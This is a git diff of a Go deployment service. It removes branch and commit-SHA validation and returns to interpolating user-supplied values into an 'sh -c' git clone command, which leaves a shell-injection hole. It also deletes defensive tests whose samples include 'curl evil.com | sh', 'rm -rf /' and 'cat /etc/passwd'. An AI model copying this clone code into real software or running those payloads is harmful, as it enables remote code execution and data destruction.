"path/filepath" "path/filepath"
"regexp"
"strconv" "strconv"
"strings" "strings"
@@ -47,18 +46,6 @@ var ErrNotConnected = errors.New("docker client not connected")
// ErrGitCloneFailed is returned when git clone fails. // ErrGitCloneFailed is returned when git clone fails.
var ErrGitCloneFailed = errors.New("git clone failed") var ErrGitCloneFailed = errors.New("git clone failed")
// ErrInvalidBranch is returned when a branch name contains invalid characters.
var ErrInvalidBranch = errors.New("invalid branch name")
// ErrInvalidCommitSHA is returned when a commit SHA is not a valid hex string.
var ErrInvalidCommitSHA = errors.New("invalid commit SHA")
// validBranchRe matches safe git branch names.
var validBranchRe = regexp.MustCompile(`^[a-zA-Z0-9._/\-]+$`)
// validCommitSHARe matches a full-length hex commit SHA.
var validCommitSHARe = regexp.MustCompile(`^[0-9a-f]{40}$`)
// Params contains dependencies for Client. // Params contains dependencies for Client.
type Params struct { type Params struct {
fx.In fx.In
@@ -443,15 +430,6 @@ func (c *Client) CloneRepo(
ctx context.Context, ctx context.Context,
repoURL, branch, commitSHA, sshPrivateKey, containerDir, hostDir string, repoURL, branch, commitSHA, sshPrivateKey, containerDir, hostDir string,
) (*CloneResult, error) { ) (*CloneResult, error) {
// Validate inputs to prevent shell injection
if !validBranchRe.MatchString(branch) {
return nil, fmt.Errorf("%w: %q", ErrInvalidBranch, branch)
}
if commitSHA != "" && !validCommitSHARe.MatchString(commitSHA) {
return nil, fmt.Errorf("%w: %q", ErrInvalidCommitSHA, commitSHA)
}
if c.docker == nil { if c.docker == nil {
return nil, ErrNotConnected return nil, ErrNotConnected
} }
@@ -606,39 +584,39 @@ func (c *Client) createGitContainer(
) (string, error) { ) (string, error) {
gitSSHCmd := "ssh -i /keys/deploy_key -o StrictHostKeyChecking=no" gitSSHCmd := "ssh -i /keys/deploy_key -o StrictHostKeyChecking=no"
// Build the git command using environment variables to avoid shell injection. // Build the git command based on whether we have a specific commit SHA
// Arguments are passed via env vars and quoted in the shell script. var cmd []string
var script string
var entrypoint []string
if cfg.commitSHA != "" { if cfg.commitSHA != "" {
// Clone without depth limit so we can checkout any commit, then checkout specific SHA // Clone without depth limit so we can checkout any commit, then checkout specific SHA
script = `git clone --branch "$CLONE_BRANCH" "$CLONE_URL" /repo` + // Using sh -c to run multiple commands - need to clear entrypoint
` && cd /repo && git checkout "$CLONE_SHA"` + // Output "COMMIT:<sha>" marker at end for parsing
` && echo COMMIT:$(git rev-parse HEAD)` script := fmt.Sprintf(
"git clone --branch %s %s /repo && cd /repo && git checkout %s && echo COMMIT:$(git rev-parse HEAD)",
cfg.branch, cfg.repoURL, cfg.commitSHA,
)
entrypoint = []string{}
cmd = []string{"sh", "-c", script}
} else { } else {
// Shallow clone of branch HEAD, then output commit SHA // Shallow clone of branch HEAD, then output commit SHA
script = `git clone --depth 1 --branch "$CLONE_BRANCH" "$CLONE_URL" /repo` + // Using sh -c to run multiple commands
` && cd /repo && echo COMMIT:$(git rev-parse HEAD)` script := fmt.Sprintf(
"git clone --depth 1 --branch %s %s /repo && cd /repo && echo COMMIT:$(git rev-parse HEAD)",
cfg.branch, cfg.repoURL,
)
entrypoint = []string{}
cmd = []string{"sh", "-c", script}
} }
env := []string{
"GIT_SSH_COMMAND=" + gitSSHCmd,
"CLONE_URL=" + cfg.repoURL,
"CLONE_BRANCH=" + cfg.branch,
}
if cfg.commitSHA != "" {
env = append(env, "CLONE_SHA="+cfg.commitSHA)
}
entrypoint := []string{}
cmd := []string{"sh", "-c", script}
// Use host paths for Docker bind mounts (Docker runs on the host, not in our container) // Use host paths for Docker bind mounts (Docker runs on the host, not in our container)
resp, err := c.docker.ContainerCreate(ctx, resp, err := c.docker.ContainerCreate(ctx,
&container.Config{ &container.Config{
Image: gitImage, Image: gitImage,
Entrypoint: entrypoint, Entrypoint: entrypoint,
Cmd: cmd, Cmd: cmd,
Env: env, Env: []string{"GIT_SSH_COMMAND=" + gitSSHCmd},
WorkingDir: "/", WorkingDir: "/",
}, },
&container.HostConfig{ &container.HostConfig{

View File

@@ -1,148 +0,0 @@
package docker //nolint:testpackage // tests unexported regexps and Client struct
import (
"errors"
"log/slog"
"testing"
)
func TestValidBranchRegex(t *testing.T) {
t.Parallel()
valid := []string{
"main",
"develop",
"feature/my-feature",
"release-1.0",
"v1.2.3",
"fix/issue_42",
"my.branch",
}
for _, b := range valid {
if !validBranchRe.MatchString(b) {
t.Errorf("expected branch %q to be valid", b)
}
}
invalid := []string{
"main; curl evil.com | sh",
"branch$(whoami)",
"branch`id`",
"branch && rm -rf /",
"branch | cat /etc/passwd",
"",
"branch name with spaces",
"branch\nnewline",
}
for _, b := range invalid {
if validBranchRe.MatchString(b) {
t.Errorf("expected branch %q to be invalid (potential injection)", b)
}
}
}
func TestValidCommitSHARegex(t *testing.T) {
t.Parallel()
valid := []string{
"abc123def456789012345678901234567890abcd",
"0000000000000000000000000000000000000000",
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
}
for _, s := range valid {
if !validCommitSHARe.MatchString(s) {
t.Errorf("expected SHA %q to be valid", s)
}
}
invalid := []string{
"short",
"abc123",
"ABCDEF1234567890123456789012345678901234", // uppercase
"abc123def456789012345678901234567890abcd; rm -rf /",
"$(whoami)000000000000000000000000000000000",
"",
}
for _, s := range invalid {
if validCommitSHARe.MatchString(s) {
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
}
}
}
func TestCloneRepoRejectsInjection(t *testing.T) { //nolint:funlen // table-driven test
t.Parallel()
c := &Client{
log: slog.Default(),
}
tests := []struct {
name string
branch string
commitSHA string
wantErr error
}{
{
name: "shell injection in branch",
branch: "main; curl evil.com | sh #",
wantErr: ErrInvalidBranch,
},
{
name: "command substitution in branch",
branch: "$(whoami)",
wantErr: ErrInvalidBranch,
},
{
name: "backtick injection in branch",
branch: "`id`",
wantErr: ErrInvalidBranch,
},
{
name: "injection in commitSHA",
branch: "main",
commitSHA: "not-a-sha; rm -rf /",
wantErr: ErrInvalidCommitSHA,
},
{
name: "short SHA rejected",
branch: "main",
commitSHA: "abc123",
wantErr: ErrInvalidCommitSHA,
},
{
name: "valid inputs pass validation (hit NotConnected)",
branch: "main",
commitSHA: "abc123def456789012345678901234567890abcd",
wantErr: ErrNotConnected,
},
{
name: "valid branch no SHA passes validation (hit NotConnected)",
branch: "main",
wantErr: ErrNotConnected,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
_, err := c.CloneRepo(
t.Context(),
"git@example.com:repo.git",
tt.branch,
tt.commitSHA,
"fake-key",
"/tmp/container",
"/tmp/host",
)
if err == nil {
t.Fatal("expected error, got nil")
}
if !errors.Is(err, tt.wantErr) {
t.Errorf("expected error %v, got %v", tt.wantErr, err)
}
})
}
}

View File

@@ -1,377 +0,0 @@
package handlers
import (
"encoding/json"
"net/http"
"strconv"
"github.com/go-chi/chi/v5"
"git.eeqj.de/sneak/upaas/internal/models"
"git.eeqj.de/sneak/upaas/internal/service/app"
)
// apiAppResponse is the JSON representation of an app.
type apiAppResponse struct {
ID string `json:"id"`
Name string `json:"name"`
RepoURL string `json:"repoUrl"`
Branch string `json:"branch"`
DockerfilePath string `json:"dockerfilePath"`
Status string `json:"status"`
WebhookSecret string `json:"webhookSecret"`
SSHPublicKey string `json:"sshPublicKey"`
CreatedAt string `json:"createdAt"`
UpdatedAt string `json:"updatedAt"`
}
// apiDeploymentResponse is the JSON representation of a deployment.
type apiDeploymentResponse struct {
ID int64 `json:"id"`
AppID string `json:"appId"`
CommitSHA string `json:"commitSha,omitempty"`
Status string `json:"status"`
Duration string `json:"duration,omitempty"`
StartedAt string `json:"startedAt"`
FinishedAt string `json:"finishedAt,omitempty"`
}
func appToAPI(a *models.App) apiAppResponse {
return apiAppResponse{
ID: a.ID,
Name: a.Name,
RepoURL: a.RepoURL,
Branch: a.Branch,
DockerfilePath: a.DockerfilePath,
Status: string(a.Status),
WebhookSecret: a.WebhookSecret,
SSHPublicKey: a.SSHPublicKey,
CreatedAt: a.CreatedAt.Format("2006-01-02T15:04:05Z"),
UpdatedAt: a.UpdatedAt.Format("2006-01-02T15:04:05Z"),
}
}
func deploymentToAPI(d *models.Deployment) apiDeploymentResponse {
resp := apiDeploymentResponse{
ID: d.ID,
AppID: d.AppID,
Status: string(d.Status),
Duration: d.Duration(),
StartedAt: d.StartedAt.Format("2006-01-02T15:04:05Z"),
}
if d.CommitSHA.Valid {
resp.CommitSHA = d.CommitSHA.String
}
if d.FinishedAt.Valid {
resp.FinishedAt = d.FinishedAt.Time.Format("2006-01-02T15:04:05Z")
}
return resp
}
// HandleAPILoginPOST returns a handler that authenticates via JSON credentials
// and sets a session cookie.
func (h *Handlers) HandleAPILoginPOST() http.HandlerFunc {
type loginRequest struct {
Username string `json:"username"`
Password string `json:"password"`
}
type loginResponse struct {
UserID int64 `json:"userId"`
Username string `json:"username"`
}
return func(writer http.ResponseWriter, request *http.Request) {
var req loginRequest
decodeErr := json.NewDecoder(request.Body).Decode(&req)
if decodeErr != nil {
h.respondJSON(writer, request,
map[string]string{"error": "invalid JSON body"},
http.StatusBadRequest)
return
}
if req.Username == "" || req.Password == "" {
h.respondJSON(writer, request,
map[string]string{"error": "username and password are required"},
http.StatusBadRequest)
return
}
user, authErr := h.auth.Authenticate(request.Context(), req.Username, req.Password)
if authErr != nil {
h.respondJSON(writer, request,
map[string]string{"error": "invalid credentials"},
http.StatusUnauthorized)
return
}
sessionErr := h.auth.CreateSession(writer, request, user)
if sessionErr != nil {
h.log.Error("api: failed to create session", "error", sessionErr)
h.respondJSON(writer, request,
map[string]string{"error": "failed to create session"},
http.StatusInternalServerError)
return
}
h.respondJSON(writer, request, loginResponse{
UserID: user.ID,
Username: user.Username,
}, http.StatusOK)
}
}
// HandleAPIListApps returns a handler that lists all apps as JSON.
func (h *Handlers) HandleAPIListApps() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
apps, err := h.appService.ListApps(request.Context())
if err != nil {
h.respondJSON(writer, request,
map[string]string{"error": "failed to list apps"},
http.StatusInternalServerError)
return
}
result := make([]apiAppResponse, 0, len(apps))
for _, a := range apps {
result = append(result, appToAPI(a))
}
h.respondJSON(writer, request, result, http.StatusOK)
}
}
// HandleAPIGetApp returns a handler that gets a single app by ID.
func (h *Handlers) HandleAPIGetApp() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
application, err := h.appService.GetApp(request.Context(), appID)
if err != nil {
h.respondJSON(writer, request,
map[string]string{"error": "internal server error"},
http.StatusInternalServerError)
return
}
if application == nil {
h.respondJSON(writer, request,
map[string]string{"error": "app not found"},
http.StatusNotFound)
return
}
h.respondJSON(writer, request, appToAPI(application), http.StatusOK)
}
}
// HandleAPICreateApp returns a handler that creates a new app.
func (h *Handlers) HandleAPICreateApp() http.HandlerFunc {
type createRequest struct {
Name string `json:"name"`
RepoURL string `json:"repoUrl"`
Branch string `json:"branch"`
DockerfilePath string `json:"dockerfilePath"`
DockerNetwork string `json:"dockerNetwork"`
NtfyTopic string `json:"ntfyTopic"`
SlackWebhook string `json:"slackWebhook"`
}
return func(writer http.ResponseWriter, request *http.Request) {
var req createRequest
decodeErr := json.NewDecoder(request.Body).Decode(&req)
if decodeErr != nil {
h.respondJSON(writer, request,
map[string]string{"error": "invalid JSON body"},
http.StatusBadRequest)
return
}
if req.Name == "" || req.RepoURL == "" {
h.respondJSON(writer, request,
map[string]string{"error": "name and repo_url are required"},
http.StatusBadRequest)
return
}
nameErr := validateAppName(req.Name)
if nameErr != nil {
h.respondJSON(writer, request,
map[string]string{"error": "invalid app name: " + nameErr.Error()},
http.StatusBadRequest)
return
}
createdApp, createErr := h.appService.CreateApp(request.Context(), app.CreateAppInput{
Name: req.Name,
RepoURL: req.RepoURL,
Branch: req.Branch,
DockerfilePath: req.DockerfilePath,
DockerNetwork: req.DockerNetwork,
NtfyTopic: req.NtfyTopic,
SlackWebhook: req.SlackWebhook,
})
if createErr != nil {
h.log.Error("api: failed to create app", "error", createErr)
h.respondJSON(writer, request,
map[string]string{"error": "failed to create app"},
http.StatusInternalServerError)
return
}
h.respondJSON(writer, request, appToAPI(createdApp), http.StatusCreated)
}
}
// HandleAPIDeleteApp returns a handler that deletes an app.
func (h *Handlers) HandleAPIDeleteApp() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
application, err := h.appService.GetApp(request.Context(), appID)
if err != nil {
h.respondJSON(writer, request,
map[string]string{"error": "internal server error"},
http.StatusInternalServerError)
return
}
if application == nil {
h.respondJSON(writer, request,
map[string]string{"error": "app not found"},
http.StatusNotFound)
return
}
deleteErr := h.appService.DeleteApp(request.Context(), application)
if deleteErr != nil {
h.log.Error("api: failed to delete app", "error", deleteErr)
h.respondJSON(writer, request,
map[string]string{"error": "failed to delete app"},
http.StatusInternalServerError)
return
}
h.respondJSON(writer, request,
map[string]string{"status": "deleted"}, http.StatusOK)
}
}
// deploymentsPageLimit is the default number of deployments per page.
const deploymentsPageLimit = 20
// HandleAPIListDeployments returns a handler that lists deployments for an app.
func (h *Handlers) HandleAPIListDeployments() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
application, err := h.appService.GetApp(request.Context(), appID)
if err != nil || application == nil {
h.respondJSON(writer, request,
map[string]string{"error": "app not found"},
http.StatusNotFound)
return
}
limit := deploymentsPageLimit
if l := request.URL.Query().Get("limit"); l != "" {
parsed, parseErr := strconv.Atoi(l)
if parseErr == nil && parsed > 0 {
limit = parsed
}
}
deployments, deployErr := application.GetDeployments(
request.Context(), limit,
)
if deployErr != nil {
h.respondJSON(writer, request,
map[string]string{"error": "failed to list deployments"},
http.StatusInternalServerError)
return
}
result := make([]apiDeploymentResponse, 0, len(deployments))
for _, d := range deployments {
result = append(result, deploymentToAPI(d))
}
h.respondJSON(writer, request, result, http.StatusOK)
}
}
// HandleAPITriggerDeploy returns a handler that triggers a deployment for an app.
func (h *Handlers) HandleAPITriggerDeploy() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) {
appID := chi.URLParam(request, "id")
application, err := h.appService.GetApp(request.Context(), appID)
if err != nil || application == nil {
h.respondJSON(writer, request,
map[string]string{"error": "app not found"},
http.StatusNotFound)
return
}
deployErr := h.deploy.Deploy(request.Context(), application, nil, true)
if deployErr != nil {
h.log.Error("api: failed to trigger deploy", "error", deployErr)
h.respondJSON(writer, request,
map[string]string{"error": deployErr.Error()},
http.StatusConflict)
return
}
h.respondJSON(writer, request,
map[string]string{"status": "deploying"}, http.StatusAccepted)
}
}
// HandleAPIWhoAmI returns a handler that shows the current authenticated user.
func (h *Handlers) HandleAPIWhoAmI() http.HandlerFunc {
type whoAmIResponse struct {
UserID int64 `json:"userId"`
Username string `json:"username"`
}
return func(writer http.ResponseWriter, request *http.Request) {
user, err := h.auth.GetCurrentUser(request.Context(), request)
if err != nil || user == nil {
h.respondJSON(writer, request,
map[string]string{"error": "unauthorized"},
http.StatusUnauthorized)
return
}
h.respondJSON(writer, request, whoAmIResponse{
UserID: user.ID,
Username: user.Username,
}, http.StatusOK)
}
}

View File

@@ -1,299 +0,0 @@
package handlers_test
import (
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/go-chi/chi/v5"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
// apiRouter builds a chi router with the API routes using session auth middleware.
func apiRouter(tc *testContext) http.Handler {
r := chi.NewRouter()
r.Route("/api/v1", func(apiR chi.Router) {
apiR.Post("/login", tc.handlers.HandleAPILoginPOST())
apiR.Group(func(apiR chi.Router) {
apiR.Use(tc.middleware.APISessionAuth())
apiR.Get("/whoami", tc.handlers.HandleAPIWhoAmI())
apiR.Get("/apps", tc.handlers.HandleAPIListApps())
apiR.Post("/apps", tc.handlers.HandleAPICreateApp())
apiR.Get("/apps/{id}", tc.handlers.HandleAPIGetApp())
apiR.Delete("/apps/{id}", tc.handlers.HandleAPIDeleteApp())
apiR.Post("/apps/{id}/deploy", tc.handlers.HandleAPITriggerDeploy())
apiR.Get("/apps/{id}/deployments", tc.handlers.HandleAPIListDeployments())
})
})
return r
}
// setupAPITest creates a test context with a user and returns session cookies.
func setupAPITest(t *testing.T) (*testContext, []*http.Cookie) {
t.Helper()
tc := setupTestHandlers(t)
// Create a user.
_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
require.NoError(t, err)
// Login via the API to get session cookies.
r := apiRouter(tc)
loginBody := `{"username":"admin","password":"password123"}`
req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(loginBody))
req.Header.Set("Content-Type", "application/json")
rr := httptest.NewRecorder()
r.ServeHTTP(rr, req)
require.Equal(t, http.StatusOK, rr.Code)
cookies := rr.Result().Cookies()
require.NotEmpty(t, cookies, "login should return session cookies")
return tc, cookies
}
// apiRequest makes an authenticated API request using session cookies.
func apiRequest(
t *testing.T,
tc *testContext,
cookies []*http.Cookie,
method, path string,
body string,
) *httptest.ResponseRecorder {
t.Helper()
var req *http.Request
if body != "" {
req = httptest.NewRequest(method, path, strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
} else {
req = httptest.NewRequest(method, path, nil)
}
for _, c := range cookies {
req.AddCookie(c)
}
rr := httptest.NewRecorder()
r := apiRouter(tc)
r.ServeHTTP(rr, req)
return rr
}
func TestAPILoginSuccess(t *testing.T) {
t.Parallel()
tc := setupTestHandlers(t)
_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
require.NoError(t, err)
r := apiRouter(tc)
body := `{"username":"admin","password":"password123"}`
req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rr := httptest.NewRecorder()
r.ServeHTTP(rr, req)
assert.Equal(t, http.StatusOK, rr.Code)
var resp map[string]any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &resp))
assert.Equal(t, "admin", resp["username"])
// Should have a Set-Cookie header.
assert.NotEmpty(t, rr.Result().Cookies())
}
func TestAPILoginInvalidCredentials(t *testing.T) {
t.Parallel()
tc := setupTestHandlers(t)
_, err := tc.authSvc.CreateUser(t.Context(), "admin", "password123")
require.NoError(t, err)
r := apiRouter(tc)
body := `{"username":"admin","password":"wrong"}`
req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rr := httptest.NewRecorder()
r.ServeHTTP(rr, req)
assert.Equal(t, http.StatusUnauthorized, rr.Code)
}
func TestAPILoginMissingFields(t *testing.T) {
t.Parallel()
tc := setupTestHandlers(t)
r := apiRouter(tc)
body := `{"username":"","password":""}`
req := httptest.NewRequest(http.MethodPost, "/api/v1/login", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
rr := httptest.NewRecorder()
r.ServeHTTP(rr, req)
assert.Equal(t, http.StatusBadRequest, rr.Code)
}
func TestAPIRejectsUnauthenticated(t *testing.T) {
t.Parallel()
tc := setupTestHandlers(t)
r := apiRouter(tc)
req := httptest.NewRequest(http.MethodGet, "/api/v1/apps", nil)
rr := httptest.NewRecorder()
r.ServeHTTP(rr, req)
assert.Equal(t, http.StatusUnauthorized, rr.Code)
}
func TestAPIWhoAmI(t *testing.T) {
t.Parallel()
tc, cookies := setupAPITest(t)
rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/whoami", "")
assert.Equal(t, http.StatusOK, rr.Code)
var resp map[string]any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &resp))
assert.Equal(t, "admin", resp["username"])
}
func TestAPIListAppsEmpty(t *testing.T) {
t.Parallel()
tc, cookies := setupAPITest(t)
rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps", "")
assert.Equal(t, http.StatusOK, rr.Code)
var apps []any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &apps))
assert.Empty(t, apps)
}
func TestAPICreateApp(t *testing.T) {
t.Parallel()
tc, cookies := setupAPITest(t)
body := `{"name":"test-app","repoUrl":"https://github.com/example/repo"}`
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
assert.Equal(t, http.StatusCreated, rr.Code)
var app map[string]any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &app))
assert.Equal(t, "test-app", app["name"])
assert.Equal(t, "pending", app["status"])
}
func TestAPICreateAppValidation(t *testing.T) {
t.Parallel()
tc, cookies := setupAPITest(t)
body := `{"name":"","repoUrl":""}`
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
assert.Equal(t, http.StatusBadRequest, rr.Code)
}
func TestAPIGetApp(t *testing.T) {
t.Parallel()
tc, cookies := setupAPITest(t)
body := `{"name":"my-app","repoUrl":"https://github.com/example/repo"}`
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
require.Equal(t, http.StatusCreated, rr.Code)
var created map[string]any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
appID, ok := created["id"].(string)
require.True(t, ok)
rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID, "")
assert.Equal(t, http.StatusOK, rr.Code)
var app map[string]any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &app))
assert.Equal(t, "my-app", app["name"])
}
func TestAPIGetAppNotFound(t *testing.T) {
t.Parallel()
tc, cookies := setupAPITest(t)
rr := apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/nonexistent", "")
assert.Equal(t, http.StatusNotFound, rr.Code)
}
func TestAPIDeleteApp(t *testing.T) {
t.Parallel()
tc, cookies := setupAPITest(t)
body := `{"name":"delete-me","repoUrl":"https://github.com/example/repo"}`
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
require.Equal(t, http.StatusCreated, rr.Code)
var created map[string]any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
appID, ok := created["id"].(string)
require.True(t, ok)
rr = apiRequest(t, tc, cookies, http.MethodDelete, "/api/v1/apps/"+appID, "")
assert.Equal(t, http.StatusOK, rr.Code)
rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID, "")
assert.Equal(t, http.StatusNotFound, rr.Code)
}
func TestAPIListDeployments(t *testing.T) {
t.Parallel()
tc, cookies := setupAPITest(t)
body := `{"name":"deploy-app","repoUrl":"https://github.com/example/repo"}`
rr := apiRequest(t, tc, cookies, http.MethodPost, "/api/v1/apps", body)
require.Equal(t, http.StatusCreated, rr.Code)
var created map[string]any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &created))
appID, ok := created["id"].(string)
require.True(t, ok)
rr = apiRequest(t, tc, cookies, http.MethodGet, "/api/v1/apps/"+appID+"/deployments", "")
assert.Equal(t, http.StatusOK, rr.Code)
var deployments []any
require.NoError(t, json.Unmarshal(rr.Body.Bytes(), &deployments))
assert.Empty(t, deployments)
}

View File

@@ -4,8 +4,6 @@ import (
"context" "context"
"database/sql" "database/sql"
"encoding/json" "encoding/json"
"errors"
"fmt"
"net/http" "net/http"
"os" "os"
"path/filepath" "path/filepath"
@@ -31,15 +29,19 @@ const (
func (h *Handlers) HandleAppNew() http.HandlerFunc { func (h *Handlers) HandleAppNew() http.HandlerFunc {
tmpl := templates.GetParsed() tmpl := templates.GetParsed()
return func(writer http.ResponseWriter, request *http.Request) { return func(writer http.ResponseWriter, _ *http.Request) {
data := h.addGlobals(map[string]any{}, request) data := h.addGlobals(map[string]any{})
h.renderTemplate(writer, tmpl, "app_new.html", data) err := tmpl.ExecuteTemplate(writer, "app_new.html", data)
if err != nil {
h.log.Error("template execution failed", "error", err)
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
}
} }
} }
// HandleAppCreate handles app creation. // HandleAppCreate handles app creation.
func (h *Handlers) HandleAppCreate() http.HandlerFunc { //nolint:funlen // validation adds necessary length func (h *Handlers) HandleAppCreate() http.HandlerFunc {
tmpl := templates.GetParsed() tmpl := templates.GetParsed()
return func(writer http.ResponseWriter, request *http.Request) { return func(writer http.ResponseWriter, request *http.Request) {
@@ -55,23 +57,15 @@ func (h *Handlers) HandleAppCreate() http.HandlerFunc { //nolint:funlen // valid
branch := request.FormValue("branch") branch := request.FormValue("branch")
dockerfilePath := request.FormValue("dockerfile_path") dockerfilePath := request.FormValue("dockerfile_path")
data := h.addGlobals(map[string]any{ data := map[string]any{
"Name": name, "Name": name,
"RepoURL": repoURL, "RepoURL": repoURL,
"Branch": branch, "Branch": branch,
"DockerfilePath": dockerfilePath, "DockerfilePath": dockerfilePath,
}, request) }
if name == "" || repoURL == "" { if name == "" || repoURL == "" {
data["Error"] = "Name and repository URL are required" data["Error"] = "Name and repository URL are required"
h.renderTemplate(writer, tmpl, "app_new.html", data)
return
}
nameErr := validateAppName(name)
if nameErr != nil {
data["Error"] = "Invalid app name: " + nameErr.Error()
_ = tmpl.ExecuteTemplate(writer, "app_new.html", data) _ = tmpl.ExecuteTemplate(writer, "app_new.html", data)
return return
@@ -97,7 +91,7 @@ func (h *Handlers) HandleAppCreate() http.HandlerFunc { //nolint:funlen // valid
if createErr != nil { if createErr != nil {
h.log.Error("failed to create app", "error", createErr) h.log.Error("failed to create app", "error", createErr)
data["Error"] = "Failed to create app: " + createErr.Error() data["Error"] = "Failed to create app: " + createErr.Error()
h.renderTemplate(writer, tmpl, "app_new.html", data) _ = tmpl.ExecuteTemplate(writer, "app_new.html", data)
return return
} }
@@ -156,9 +150,13 @@ func (h *Handlers) HandleAppDetail() http.HandlerFunc {
"WebhookURL": webhookURL, "WebhookURL": webhookURL,
"DeployKey": deployKey, "DeployKey": deployKey,
"Success": request.URL.Query().Get("success"), "Success": request.URL.Query().Get("success"),
}, request) })
h.renderTemplate(writer, tmpl, "app_detail.html", data) err := tmpl.ExecuteTemplate(writer, "app_detail.html", data)
if err != nil {
h.log.Error("template execution failed", "error", err)
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
}
} }
} }
@@ -185,14 +183,18 @@ func (h *Handlers) HandleAppEdit() http.HandlerFunc {
data := h.addGlobals(map[string]any{ data := h.addGlobals(map[string]any{
"App": application, "App": application,
}, request) })
h.renderTemplate(writer, tmpl, "app_edit.html", data) err := tmpl.ExecuteTemplate(writer, "app_edit.html", data)
if err != nil {
h.log.Error("template execution failed", "error", err)
http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
}
} }
} }
// HandleAppUpdate handles app updates. // HandleAppUpdate handles app updates.
func (h *Handlers) HandleAppUpdate() http.HandlerFunc { //nolint:funlen // validation adds necessary length func (h *Handlers) HandleAppUpdate() http.HandlerFunc {
tmpl := templates.GetParsed() tmpl := templates.GetParsed()
return func(writer http.ResponseWriter, request *http.Request) { return func(writer http.ResponseWriter, request *http.Request) {
@@ -212,20 +214,7 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc { //nolint:funlen // valid
return return
} }
newName := request.FormValue("name") application.Name = request.FormValue("name")
nameErr := validateAppName(newName)
if nameErr != nil {
data := h.addGlobals(map[string]any{
"App": application,
"Error": "Invalid app name: " + nameErr.Error(),
}, request)
_ = tmpl.ExecuteTemplate(writer, "app_edit.html", data)
return
}
application.Name = newName
application.RepoURL = request.FormValue("repo_url") application.RepoURL = request.FormValue("repo_url")
application.Branch = request.FormValue("branch") application.Branch = request.FormValue("branch")
application.DockerfilePath = request.FormValue("dockerfile_path") application.DockerfilePath = request.FormValue("dockerfile_path")
@@ -252,11 +241,11 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc { //nolint:funlen // valid
if saveErr != nil { if saveErr != nil {
h.log.Error("failed to update app", "error", saveErr) h.log.Error("failed to update app", "error", saveErr)
data := h.addGlobals(map[string]any{ data := map[string]any{
"App": application, "App": application,
"Error": "Failed to update app", "Error": "Failed to update app",
}, request) }
h.renderTemplate(writer, tmpl, "app_edit.html", data) _ = tmpl.ExecuteTemplate(writer, "app_edit.html", data)
return return
} }
@@ -266,33 +255,6 @@ func (h *Handlers) HandleAppUpdate() http.HandlerFunc { //nolint:funlen // valid
} }
} }
// cleanupContainer stops and removes the Docker container for the given app.
func (h *Handlers) cleanupContainer(ctx context.Context, appID, appName string) {
containerInfo, containerErr := h.docker.FindContainerByAppID(ctx, appID)
if containerErr != nil || containerInfo == nil {
return
}
if containerInfo.Running {
stopErr := h.docker.StopContainer(ctx, containerInfo.ID)
if stopErr != nil {
h.log.Error("failed to stop container during app deletion",
"error", stopErr, "app", appName,
"container", containerInfo.ID)
}
}
removeErr := h.docker.RemoveContainer(ctx, containerInfo.ID, true)
if removeErr != nil {
h.log.Error("failed to remove container during app deletion",
"error", removeErr, "app", appName,
"container", containerInfo.ID)
} else {
h.log.Info("removed container during app deletion",
"app", appName, "container", containerInfo.ID)
}
}
// HandleAppDelete handles app deletion. // HandleAppDelete handles app deletion.
func (h *Handlers) HandleAppDelete() http.HandlerFunc { func (h *Handlers) HandleAppDelete() http.HandlerFunc {
return func(writer http.ResponseWriter, request *http.Request) { return func(writer http.ResponseWriter, request *http.Request) {
@@ -305,9 +267,6 @@ func (h *Handlers) HandleAppDelete() http.HandlerFunc {
return return
} }
// Stop and remove the Docker container before deleting the DB record
h.cleanupContainer(request.Context(), appID, application.Name)
deleteErr := application.Delete(request.Context()) deleteErr := application.Delete(request.Context())
if deleteErr != nil { if deleteErr != nil {
h.log.Error("failed to delete app", "error", deleteErr) h.log.Error("failed to delete app", "error", deleteErr)
@@ -337,7 +296,7 @@ func (h *Handlers) HandleAppDeploy() http.HandlerFunc {
deployCtx := context.WithoutCancel(request.Context()) deployCtx := context.WithoutCancel(request.Context())
